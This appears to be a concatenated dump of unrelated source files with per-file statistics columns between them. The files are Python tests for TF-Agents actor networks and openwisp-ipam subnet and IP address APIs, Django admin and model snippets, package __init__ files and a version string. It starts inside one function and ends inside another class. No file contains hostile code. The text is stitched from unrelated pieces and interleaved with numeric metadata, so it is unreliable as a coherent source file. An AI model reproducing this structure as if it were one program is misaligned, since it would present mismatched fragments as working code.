context = stack_frame_analyzer.get_caller_context()
return context
def get_baz(self, baz):
context = stack_frame_analyzer.get_caller_context()
return context
@staticmethod
def get_baz_static(baz):
context = stack_frame_analyzer.get_caller_context()
return context
| 23.666667
| 59
| 0.694836
| 53
| 426
| 5.226415
| 0.339623
| 0.144404
| 0.259928
| 0.216607
| 0.617329
| 0.617329
| 0.617329
| 0.617329
| 0.617329
| 0.617329
| 0
| 0
| 0.241784
| 426
| 17
| 60
| 25.058824
| 0.857585
| 0
| 0
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0
| 0.076923
| 0
| 0.615385
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
c75e26315d5ddd0bca930dcd5e7611899fa9eee4
| 252
|
py
|
Python
|
ding/worker/learner/__init__.py
|
sailxjx/DI-engine
|
c6763f8e2ba885a2a02f611195a1b5f8b50bff00
|
[
"Apache-2.0"
] | 464
|
2021-07-08T07:26:33.000Z
|
2022-03-31T12:35:16.000Z
|
ding/worker/learner/__init__.py
|
sailxjx/DI-engine
|
c6763f8e2ba885a2a02f611195a1b5f8b50bff00
|
[
"Apache-2.0"
] | 177
|
2021-07-09T08:22:55.000Z
|
2022-03-31T07:35:22.000Z
|
ding/worker/learner/__init__.py
|
sailxjx/DI-engine
|
c6763f8e2ba885a2a02f611195a1b5f8b50bff00
|
[
"Apache-2.0"
] | 92
|
2021-07-08T12:16:37.000Z
|
2022-03-31T09:24:41.000Z
|
from .base_learner import BaseLearner, create_learner
from .comm import BaseCommLearner, FlaskFileSystemLearner, create_comm_learner
from .learner_hook import register_learner_hook, add_learner_hook, merge_hooks, LearnerHook, build_learner_hook_by_cfg
| 63
| 118
| 0.884921
| 33
| 252
| 6.333333
| 0.545455
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075397
| 252
| 3
| 119
| 84
| 0.896996
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
c79bb9bc5695ceb6ee4674f0549de55a9233847f
| 5,820
|
py
|
Python
|
tf_agents/agents/ddpg/actor_network_test.py
|
wookayin/tensorflow-agents
|
ae3751dfeed52422a350227047648dd82297960b
|
[
"Apache-2.0"
] | 2
|
2018-12-20T01:49:33.000Z
|
2019-12-09T13:17:05.000Z
|
tf_agents/agents/ddpg/actor_network_test.py
|
kuanfang/agents
|
a0f25a4b44d4fc844c9b804bab60af2167f8d2bb
|
[
"Apache-2.0"
] | null | null | null |
tf_agents/agents/ddpg/actor_network_test.py
|
kuanfang/agents
|
a0f25a4b44d4fc844c9b804bab60af2167f8d2bb
|
[
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# Copyright 2018 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for tf_agents.agents.ddpg.actor_network."""
import numpy as np
import tensorflow as tf
from tf_agents.agents.ddpg import actor_network
from tf_agents.specs import tensor_spec
from tensorflow.python.framework import test_util # TF internal
class ActorNetworkTest(tf.test.TestCase):
@test_util.run_in_graph_and_eager_modes()
def testBuild(self):
batch_size = 3
num_obs_dims = 5
action_spec = tensor_spec.BoundedTensorSpec([1], tf.float32, 2., 3.)
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
actor_net = actor_network.ActorNetwork(obs_spec, action_spec)
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions.shape.as_list(),
[batch_size] + action_spec.shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 2)
@test_util.run_in_graph_and_eager_modes()
def testAddConvLayers(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([3, 3, num_obs_dims], tf.float32)
action_spec = tensor_spec.BoundedTensorSpec([1], tf.float32, 2., 3.)
actor_net = actor_network.ActorNetwork(
obs_spec, action_spec, conv_layer_params=[(16, 3, 2)])
obs = tf.random_uniform([batch_size, 3, 3, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions.shape.as_list(),
[batch_size] + action_spec.shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 4)
@test_util.run_in_graph_and_eager_modes()
def testAddFCLayers(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
action_spec = tensor_spec.BoundedTensorSpec([1], tf.float32, 2., 3.)
actor_net = actor_network.ActorNetwork(
obs_spec, action_spec, fc_layer_params=[100])
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions.shape.as_list(),
[batch_size] + action_spec.shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 4)
@test_util.run_in_graph_and_eager_modes()
def testScalarAction(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
action_spec = tensor_spec.BoundedTensorSpec([], tf.float32, 2., 3.)
actor_net = actor_network.ActorNetwork(obs_spec, action_spec)
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions.shape.as_list(),
[batch_size] + action_spec.shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 2)
@test_util.run_in_graph_and_eager_modes()
def test2DAction(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
action_spec = tensor_spec.BoundedTensorSpec([2, 3], tf.float32, 2., 3.)
actor_net = actor_network.ActorNetwork(obs_spec, action_spec)
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions.shape.as_list(),
[batch_size] + action_spec.shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 2)
@test_util.run_in_graph_and_eager_modes()
def testActionsWithinRange(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
action_spec = tensor_spec.BoundedTensorSpec([2, 3], tf.float32, 2., 3.)
actor_net = actor_network.ActorNetwork(obs_spec, action_spec)
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.evaluate(tf.global_variables_initializer())
actions_ = self.evaluate(actions)
self.assertTrue(np.all(actions_ >= action_spec.minimum))
self.assertTrue(np.all(actions_ <= action_spec.maximum))
@test_util.run_in_graph_and_eager_modes()
def testListOfSingleAction(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
action_spec = [tensor_spec.BoundedTensorSpec([1], tf.float32, 2., 3.)]
actor_net = actor_network.ActorNetwork(obs_spec, action_spec)
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions[0].shape.as_list(),
[batch_size] + action_spec[0].shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 2)
@test_util.run_in_graph_and_eager_modes()
def testDictOfSingleAction(self):
batch_size = 3
num_obs_dims = 5
obs_spec = tensor_spec.TensorSpec([num_obs_dims], tf.float32)
action_spec = {
'motor': tensor_spec.BoundedTensorSpec([1], tf.float32, 2., 3.)
}
actor_net = actor_network.ActorNetwork(obs_spec, action_spec)
obs = tf.random_uniform([batch_size, num_obs_dims])
actions, _ = actor_net(obs)
self.assertAllEqual(actions['motor'].shape.as_list(),
[batch_size] + action_spec['motor'].shape.as_list())
self.assertEqual(len(actor_net.trainable_variables), 2)
if __name__ == '__main__':
tf.test.main()
| 38.039216
| 76
| 0.715464
| 819
| 5,820
| 4.757021
| 0.174603
| 0.064168
| 0.061602
| 0.028234
| 0.75
| 0.748973
| 0.742043
| 0.708162
| 0.701745
| 0.684292
| 0
| 0.021391
| 0.17268
| 5,820
| 152
| 77
| 38.289474
| 0.787747
| 0.108591
| 0
| 0.697248
| 0
| 0
| 0.00445
| 0
| 0
| 0
| 0
| 0
| 0.146789
| 1
| 0.073395
| false
| 0
| 0.045872
| 0
| 0.12844
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
c7f2ddf3bc7d294aad1d63fffda2db380d547057
| 320
|
py
|
Python
|
test/integration/test_errors.py
|
mathewmarcus/swagger-diff
|
92d700c82f35a0e589a72643b6749fe4b1c920bc
|
[
"MIT"
] | null | null | null |
test/integration/test_errors.py
|
mathewmarcus/swagger-diff
|
92d700c82f35a0e589a72643b6749fe4b1c920bc
|
[
"MIT"
] | null | null | null |
test/integration/test_errors.py
|
mathewmarcus/swagger-diff
|
92d700c82f35a0e589a72643b6749fe4b1c920bc
|
[
"MIT"
] | null | null | null |
from swagger_diff.errors import update_errors, _errors
def test_errors():
update_errors('hello/world/foo/bar', 'Some error message')
update_errors('hello/world/foo/baz', 'Another error message')
assert {'hello': {'world': {'foo': {'bar': 'Some error message', 'baz': 'Another error message'}}}} == _errors
| 40
| 114
| 0.69375
| 42
| 320
| 5.119048
| 0.428571
| 0.223256
| 0.181395
| 0.204651
| 0.469767
| 0.297674
| 0.297674
| 0
| 0
| 0
| 0
| 0
| 0.134375
| 320
| 7
| 115
| 45.714286
| 0.776173
| 0
| 0
| 0
| 0
| 0
| 0.421875
| 0
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0.2
| true
| 0
| 0.2
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
1bdc8f561b05b9e92caa339d3ae5ef80cc9e32a2
| 154
|
py
|
Python
|
content/admin.py
|
muriithiderro/instagram
|
bcc3d933780b2ef319af01694f9d9b6328f99ead
|
[
"MIT"
] | null | null | null |
content/admin.py
|
muriithiderro/instagram
|
bcc3d933780b2ef319af01694f9d9b6328f99ead
|
[
"MIT"
] | 6
|
2020-02-12T01:01:11.000Z
|
2021-09-07T23:54:14.000Z
|
content/admin.py
|
muriithiderro/instagram
|
bcc3d933780b2ef319af01694f9d9b6328f99ead
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import Photo,Comment
admin.site.register(Photo)
admin.site.register(Comment)
# Register your models here.
| 19.25
| 33
| 0.805195
| 22
| 154
| 5.636364
| 0.545455
| 0.145161
| 0.274194
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11039
| 154
| 7
| 34
| 22
| 0.905109
| 0.168831
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
1be8be5d3a15e8fe89d81df489b3eb272f8e13b9
| 125
|
py
|
Python
|
lectures/05-python-intro/examples/func-def-order2.py
|
mattmiller899/biosys-analytics
|
ab24a4c7206ed9a865e896daa57cee3c4e62df1f
|
[
"MIT"
] | 14
|
2019-07-14T08:29:04.000Z
|
2022-03-07T06:33:26.000Z
|
lectures/05-python-intro/examples/func-def-order2.py
|
mattmiller899/biosys-analytics
|
ab24a4c7206ed9a865e896daa57cee3c4e62df1f
|
[
"MIT"
] | null | null | null |
lectures/05-python-intro/examples/func-def-order2.py
|
mattmiller899/biosys-analytics
|
ab24a4c7206ed9a865e896daa57cee3c4e62df1f
|
[
"MIT"
] | 33
|
2019-01-05T17:03:47.000Z
|
2019-11-11T20:48:24.000Z
|
#!/usr/bin/env python3
def foo():
print('This is foo')
print('Starting the program')
foo()
print('Ending the program')
| 13.888889
| 29
| 0.664
| 19
| 125
| 4.368421
| 0.684211
| 0.289157
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009524
| 0.16
| 125
| 8
| 30
| 15.625
| 0.780952
| 0.168
| 0
| 0
| 0
| 0
| 0.475728
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0
| 0
| 0.2
| 0.6
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
400f3deb2d8cd315b6392613193bf054f38a2dc6
| 12,204
|
py
|
Python
|
openwisp_ipam/tests/test_api.py
|
parnus01/openwisp-ipam
|
1567902fa2702ebbbb0b75629528a5b96cafdb86
|
[
"BSD-3-Clause"
] | null | null | null |
openwisp_ipam/tests/test_api.py
|
parnus01/openwisp-ipam
|
1567902fa2702ebbbb0b75629528a5b96cafdb86
|
[
"BSD-3-Clause"
] | null | null | null |
openwisp_ipam/tests/test_api.py
|
parnus01/openwisp-ipam
|
1567902fa2702ebbbb0b75629528a5b96cafdb86
|
[
"BSD-3-Clause"
] | null | null | null |
import json
from django.contrib.auth import get_user_model
from django.core.files.uploadedfile import SimpleUploadedFile
from django.test import TestCase
from django.urls import reverse
from openwisp_users.tests.utils import TestMultitenantAdminMixin
from swapper import load_model
from . import CreateModelsMixin, PostDataMixin
User = get_user_model()
Subnet = load_model('openwisp_ipam', 'Subnet')
IpAddress = load_model('openwisp_ipam', 'IpAddress')
class TestApi(TestMultitenantAdminMixin, CreateModelsMixin, PostDataMixin, TestCase):
def setUp(self):
super().setUp()
self._login()
def test_ipv4_get_avaialble_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24')
self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
response = self.client.get(
reverse('ipam:get_next_available_ip', args=(subnet.id,))
)
self.assertEqual(response.status_code, 200)
self.assertContains(response, '10.0.0.2')
def test_ipv6_get_avaialble_api(self):
subnet = self._create_subnet(subnet='fdb6:21b:a477::9f7/64')
self._create_ipaddress(ip_address='fdb6:21b:a477::1', subnet=subnet)
response = self.client.get(
reverse('ipam:get_next_available_ip', args=(subnet.id,))
)
self.assertEqual(response.status_code, 200)
self.assertContains(response, 'fdb6:21b:a477::2')
def test_unavailable_ip(self):
subnet = self._create_subnet(subnet='10.0.0.0/32', description='Sample Subnet')
response = self.client.get(
reverse('ipam:get_next_available_ip', args=(subnet.id,))
)
self.assertEqual(response.status_code, 200)
self.assertEqual(response.data, None)
def test_ipv4_request_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24')
self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
post_data = self._post_data(subnet=str(subnet.id), description='Testing')
response = self.client.post(
reverse('ipam:request_ip', args=(subnet.id,)),
data=post_data,
content_type='application/json',
)
self.assertEqual(response.status_code, 201)
self.assertEqual(response.data['ip_address'], '10.0.0.2')
def test_ipv6_request_api(self):
subnet = self._create_subnet(subnet='fdb6:21b:a477::9f7/64')
self._create_ipaddress(ip_address='fdb6:21b:a477::1', subnet=subnet)
post_data = self._post_data(subnet=str(subnet.id), description='Testing')
response = self.client.post(
reverse('ipam:request_ip', args=(subnet.id,)),
data=post_data,
content_type='application/json',
)
self.assertEqual(response.status_code, 201)
self.assertEqual(response.data['ip_address'], 'fdb6:21b:a477::2')
def test_unvailable_request_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/32')
post_data = self._post_data(subnet=str(subnet.id), description='Testing')
response = self.client.post(
reverse('ipam:request_ip', args=(subnet.id,)),
data=post_data,
content_type='application/json',
)
self.assertEqual(response.status_code, 200)
self.assertEqual(response.data, None)
def test_create_subnet_api(self):
post_data = self._post_data(subnet='10.0.0.0/32', description='Testing')
response = self.client.post(
reverse('ipam:subnet_list_create'),
data=post_data,
content_type='application/json',
)
self.assertEqual(response.status_code, 201)
self.assertEqual(str(Subnet.objects.first().subnet), '10.0.0.0/32')
def test_overlapping_subnet(self):
post_data = self._post_data(
subnet='10.20.0.0/24',
name='Subnet',
description='Sample',
master_subnet='10.20.0.0/24',
)
response = self.client.post(
reverse('ipam:subnet_list_create'),
data=post_data,
content_type='application/json',
)
self.assertEqual(response.status_code, 400)
def test_read_subnet_api(self):
subnet_id = self._create_subnet(subnet='fdb6:21b:a477::/64').id
response = self.client.get(reverse('ipam:subnet', args=(subnet_id,)))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.data['subnet'], 'fdb6:21b:a477::/64')
def test_update_subnet_api(self):
subnet_id = self._create_subnet(subnet='fdb6:21b:a477::9f7/64').id
response = self.client.patch(
reverse('ipam:subnet', args=(subnet_id,)),
data=json.dumps({'description': 'Test Subnet'}),
content_type='application/json',
)
self.assertEqual(response.status_code, 200)
self.assertEqual(Subnet.objects.get(pk=subnet_id).description, 'Test Subnet')
def test_delete_subnet_api(self):
subnet_id = self._create_subnet(subnet='10.0.0.0/32').id
response = self.client.delete(reverse('ipam:subnet', args=(subnet_id,)))
self.assertEqual(response.status_code, 204)
self.assertEqual(Subnet.objects.count(), 0)
def test_create_ip_address_api(self):
subnet_id = self._create_subnet(subnet='10.0.0.0/24').id
post_data = self._post_data(
ip_address='10.0.0.2', subnet=str(subnet_id), description='Testing'
)
response = self.client.post(
reverse('ipam:list_create_ip_address', args=(subnet_id,)),
data=post_data,
content_type='application/json',
)
self.assertEqual(response.status_code, 201)
self.assertEqual(str(IpAddress.objects.first().ip_address), '10.0.0.2')
def test_read_ip_address_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24')
ip_address = self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
response = self.client.get(reverse('ipam:ip_address', args=(ip_address.id,)))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.data['ip_address'], '10.0.0.1')
def test_update_ip_address_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24')
ip_address = self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
response = self.client.patch(
reverse('ipam:ip_address', args=(ip_address.id,)),
data=json.dumps({'description': 'Test Ip address'}),
content_type='application/json',
)
self.assertEqual(response.status_code, 200)
self.assertEqual(
IpAddress.objects.get(pk=ip_address.id).description, 'Test Ip address',
)
def test_delete_ip_address_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24')
ip_address = self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
response = self.client.delete(reverse('ipam:ip_address', args=(ip_address.id,)))
self.assertEqual(response.status_code, 204)
self.assertEqual(IpAddress.objects.count(), 0)
def test_list_ipadress_subnet_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24')
self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
self._create_ipaddress(ip_address='10.0.0.2', subnet=subnet)
response = self.client.get(
reverse('ipam:list_create_ip_address', args=(subnet.id,)) + '?page=1'
)
self.assertEqual(response.status_code, 200)
self.assertEqual(response.data['results'][0]['ip_address'], '10.0.0.1')
self.assertEqual(response.data['results'][1]['ip_address'], '10.0.0.2')
def test_export_subnet_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/24', name='Sample Subnet')
self._create_ipaddress(
ip_address='10.0.0.1', subnet=subnet, description='Testing'
)
self._create_ipaddress(
ip_address='10.0.0.2', subnet=subnet, description='Testing'
)
csv_data = """Sample Subnet\r
10.0.0.0/24\r
\r
ip_address,description\r
10.0.0.1,Testing\r
10.0.0.2,Testing\r
"""
csv_data = bytes(csv_data.replace(' ', ''), 'utf-8')
response = self.client.post(reverse('ipam:export-subnet', args=(subnet.id,)))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content, csv_data)
def test_import_subnet_api(self):
csv_data = """Monachers - Matera,
10.27.1.0/24,
Monachers,
,
ip address,description
10.27.1.1,Monachers
10.27.1.254,Nano Beam 5 19AC"""
csvfile = SimpleUploadedFile('data.csv', bytes(csv_data, 'utf-8'))
response = self.client.post(reverse('ipam:import-subnet'), {'csvfile': csvfile})
self.assertEqual(response.status_code, 200)
self.assertEqual(str(Subnet.objects.first().subnet), '10.27.1.0/24')
self.assertEqual(str(IpAddress.objects.all()[0].ip_address), '10.27.1.1')
self.assertEqual(str(IpAddress.objects.all()[1].ip_address), '10.27.1.254')
csvfile = SimpleUploadedFile('data.txt', bytes(csv_data, 'utf-8'))
response = self.client.post(
reverse('ipam:import-subnet'), {'csvfile': csvfile}, follow=True
)
self.assertEqual(response.status_code, 400)
csv_data = """Monachers - Matera,
,
,
ip address,description
10.27.1.1,Monachers
10.27.1.254,Nano Beam 5 19AC"""
invalid_file = SimpleUploadedFile('data.csv', bytes(csv_data, 'utf-8'))
response = self.client.post(
reverse('ipam:import-subnet'), {'csvfile': invalid_file}
)
self.assertEqual(response.status_code, 400)
def test_hosts_list_api(self):
subnet = self._create_subnet(subnet='10.0.0.0/16')
self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
self._create_ipaddress(ip_address='10.0.0.3', subnet=subnet)
response = self.client.get(reverse('ipam:hosts', args=(subnet.id,)))
self.assertEqual(response.data['results'][0]['address'], '10.0.0.1')
self.assertEqual(response.data['results'][0]['used'], True)
self.assertEqual(response.data['results'][1]['address'], '10.0.0.2')
self.assertEqual(response.data['results'][1]['used'], False)
self.assertEqual(response.data['results'][2]['address'], '10.0.0.3')
self.assertEqual(response.data['results'][2]['used'], True)
self.assertIsNone(response.data['previous'])
response = self.client.get(response.data['next'])
self.assertEqual(response.data['results'][0]['address'], '10.0.1.1')
self.assertEqual(self.client.get(response.data['previous']).status_code, 200)
self.assertEqual(self.client.get(response.data['next']).status_code, 200)
response = self.client.get(
reverse('ipam:hosts', args=(subnet.id,)), {'start': '10.0.255.1'}
)
self.assertEqual(self.client.get(response.data['previous']).status_code, 200)
self.assertIsNone(response.data['next'])
def test_unauthorized_api_access(self):
self.client.logout()
subnet = self._create_subnet(subnet='10.0.0.0/24')
ip_address = self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet)
response = self.client.get(
reverse('ipam:list_create_ip_address', args=(subnet.id,))
)
self.assertEqual(response.status_code, 403)
response = self.client.delete(reverse('ipam:subnet', args=(subnet.id,)))
self.assertEqual(response.status_code, 403)
response = self.client.delete(reverse('ipam:ip_address', args=(ip_address.id,)))
self.assertEqual(response.status_code, 403)
response = self.client.post(
reverse('ipam:subnet_list_create'),
data=json.dumps(
{'subnet': 'fdb6:21b:a477::9f7/64', 'description': 'Test Subnet'}
),
content_type='application/json',
)
self.assertEqual(response.status_code, 403)
| 43.899281
| 88
| 0.639954
| 1,573
| 12,204
| 4.784488
| 0.084552
| 0.015413
| 0.02126
| 0.092479
| 0.823944
| 0.800027
| 0.733192
| 0.721233
| 0.670476
| 0.6443
| 0
| 0.053135
| 0.21198
| 12,204
| 277
| 89
| 44.057762
| 0.729437
| 0
| 0
| 0.425101
| 0
| 0
| 0.177565
| 0.027532
| 0
| 0
| 0
| 0
| 0.226721
| 1
| 0.08502
| false
| 0
| 0.048583
| 0
| 0.137652
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
40234ec6cc8ebe427bb7b16249a64fa12783d414
| 53
|
py
|
Python
|
src/otdb/__init__.py
|
andre4k14/otdb
|
ded1b6b902bbc1169cb94beb0d3f7a7d56ce70e4
|
[
"MIT"
] | null | null | null |
src/otdb/__init__.py
|
andre4k14/otdb
|
ded1b6b902bbc1169cb94beb0d3f7a7d56ce70e4
|
[
"MIT"
] | null | null | null |
src/otdb/__init__.py
|
andre4k14/otdb
|
ded1b6b902bbc1169cb94beb0d3f7a7d56ce70e4
|
[
"MIT"
] | null | null | null |
# flake8: noqa
from otdb.opentdb_wrapper import otdb
| 17.666667
| 37
| 0.811321
| 8
| 53
| 5.25
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021739
| 0.132075
| 53
| 2
| 38
| 26.5
| 0.891304
| 0.226415
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
402b9bc2c4631405461402f52e6858926445207a
| 87
|
py
|
Python
|
ml3d/tf/modules/__init__.py
|
krshrimali/Open3D-ML
|
e6352ee84d38a4b90c71dd7f376f5570fe849537
|
[
"MIT"
] | 447
|
2020-10-14T23:16:41.000Z
|
2021-07-27T06:57:45.000Z
|
ml3d/tf/modules/__init__.py
|
krshrimali/Open3D-ML
|
e6352ee84d38a4b90c71dd7f376f5570fe849537
|
[
"MIT"
] | 179
|
2021-07-27T15:32:33.000Z
|
2022-03-30T14:32:53.000Z
|
ml3d/tf/modules/__init__.py
|
krshrimali/Open3D-ML
|
e6352ee84d38a4b90c71dd7f376f5570fe849537
|
[
"MIT"
] | 92
|
2021-07-28T13:50:52.000Z
|
2022-03-30T09:24:33.000Z
|
"""Functional modules for tensorflow."""
from .losses import *
from .metrics import *
| 17.4
| 40
| 0.724138
| 10
| 87
| 6.3
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149425
| 87
| 4
| 41
| 21.75
| 0.851351
| 0.390805
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
4048f02b99274385f582fdb4f8e2e241f386d5b7
| 27
|
py
|
Python
|
tccli/__init__.py
|
ws0416/tencentcloud-cli-intl-en
|
903a24dccc718a395d5ebe273c300787c1d2cf67
|
[
"Apache-2.0"
] | null | null | null |
tccli/__init__.py
|
ws0416/tencentcloud-cli-intl-en
|
903a24dccc718a395d5ebe273c300787c1d2cf67
|
[
"Apache-2.0"
] | null | null | null |
tccli/__init__.py
|
ws0416/tencentcloud-cli-intl-en
|
903a24dccc718a395d5ebe273c300787c1d2cf67
|
[
"Apache-2.0"
] | null | null | null |
__version__ = '3.0.239.1'
| 13.5
| 26
| 0.62963
| 5
| 27
| 2.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0.148148
| 27
| 1
| 27
| 27
| 0.304348
| 0
| 0
| 0
| 0
| 0
| 0.346154
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
40589efcff4b22d7d3fd8ed3f7bf1ae76977a725
| 450
|
py
|
Python
|
FaceDetectionAPI/api/models/image.py
|
bigbambooo/face_detection
|
99d0482033bac8680ceaf3d9f8a1066be75b6d57
|
[
"MIT"
] | 1
|
2021-03-01T16:09:13.000Z
|
2021-03-01T16:09:13.000Z
|
FaceDetectionAPI/api/models/image.py
|
bigbambooo/face_detection
|
99d0482033bac8680ceaf3d9f8a1066be75b6d57
|
[
"MIT"
] | null | null | null |
FaceDetectionAPI/api/models/image.py
|
bigbambooo/face_detection
|
99d0482033bac8680ceaf3d9f8a1066be75b6d57
|
[
"MIT"
] | null | null | null |
import os
import uuid
from django.db import models
class Image(models.Model):
#request_id = models.CharField(max_length=100)
image_id = models.CharField(max_length=100)
